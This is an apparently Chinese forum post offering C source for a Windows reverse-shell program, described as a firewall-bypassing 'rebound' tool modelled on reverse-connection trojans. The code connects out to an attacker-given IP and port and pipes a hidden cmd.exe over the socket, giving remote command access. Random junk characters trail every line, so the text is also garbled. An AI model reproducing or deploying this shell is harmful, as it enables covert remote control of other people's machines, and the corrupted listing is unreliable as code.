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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2D`_!OG=  
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/* ============================== m :M=De  
Rebound port in Windows NT -OvzEmI"  
By wind,2006/7 {`X O3  
===============================*/ [PRQa[_  
#include PG@Uygahu  
#include \xtY\q,[  
G]DSwtB?D  
#pragma comment(lib,"wsock32.lib") vh29mzum  
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void OutputShell(); {Z~5#<t  
SOCKET sClient; gGdt&9z %  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /b ]Yya#  
cN]e{|  
void main(int argc,char **argv) "$@Wy,yp  
{ 5(+9( \x  
WSADATA stWsaData; -FxE!K  
int nRet; JZc"4qf@OT  
SOCKADDR_IN stSaiClient,stSaiServer; R:[IH2F s  
v;=| -y  
if(argc != 3) `XmT)C  
{ T/9`VB%N  
printf("Useage:\n\rRebound DestIP DestPort\n"); &O&;v|!9  
return; G]NnGL<xk  
} Uo D@ix&0  
b~5Q|3P9  
WSAStartup(MAKEWORD(2,2),&stWsaData); {y>o6OTITR  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F4o)6+YM   
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stSaiClient.sin_family = AF_INET; A7eF.V&  
stSaiClient.sin_port = htons(0); 0\/cTNN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7QnQ=gu  
 *|OP>N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /kK%}L_D  
{ 3 $~6+i  
printf("Bind Socket Failed!\n"); C VyYV &U,  
return; =x QLf4>  
} \R}`S`fIw`  
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stSaiServer.sin_family = AF_INET; v"Z`#Bi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QOfqW@g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f\/'Fy0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &IZthJqV  
{  ~[wh  
printf("Connect Error!"); JGZxNUr^  
return; +DpiX&^h   
}  o(q][:,h  
OutputShell(); li`4&<WGC  
} >}?4;:.=  
M@wQ6ow  
void OutputShell() "i5Rh^  
{ OS.oknzZZ  
char szBuff[1024]; zA<Hj;9SM  
SECURITY_ATTRIBUTES stSecurityAttributes; XH"-sZt  
OSVERSIONINFO stOsversionInfo; M8,_E\*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0r|mg::'  
STARTUPINFO stStartupInfo; >^U$2P  
char *szShell; r6u ) 6J=  
PROCESS_INFORMATION stProcessInformation; r6x"D3  
unsigned long lBytesRead; {&qB!axj  
l7p*: :(9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !(&N{NH9  
'9w.~@7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kr=&x)Wy!  
stSecurityAttributes.lpSecurityDescriptor = 0; 4!3mSWNV  
stSecurityAttributes.bInheritHandle = TRUE; rNl` w.  
83|7#L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @ff83Bg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6q8b>LG|  
\_#Z~I{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'TdO6-X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fN h0?/3)  
stStartupInfo.wShowWindow = SW_HIDE; _$f XK  
stStartupInfo.hStdInput = hReadPipe; \i}:Vb(^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +hW^wqk/.  
j/h>G,>T=  
GetVersionEx(&stOsversionInfo); z4UJo!{S  
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switch(stOsversionInfo.dwPlatformId) ar!`8"  
{ -$Ad#Eu]M  
case 1: }ag -J."5M  
szShell = "command.com"; <O]TM-h  
break; GQR|t?:t  
default: O0i)Iu(J7;  
szShell = "cmd.exe"; FFvF4]|L  
break; 3u tJlD  
} xi!CZNz  
AlH\IP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b5Sgf'B^  
XoO#{7a  
send(sClient,szMsg,77,0); n$}) }kj  
while(1) tu%!j}3s  
{ r^2>60q'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qa!3lb_'M  
if(lBytesRead) VuiK5?m  
{ `62iW3y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~|>q)4is6a  
send(sClient,szBuff,lBytesRead,0); ": G\  
} 'Drz6K_KrP  
else wQnW2)9!  
{ LKx<hl$O  
lBytesRead=recv(sClient,szBuff,1024,0); SD=kpf;  
if(lBytesRead<=0) break; "'8^OZR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o/6 'g)r*  
} e 2@{Ab  
} i!U,qV1  
x U1](O  
return; ux 7^PTgcO  
}
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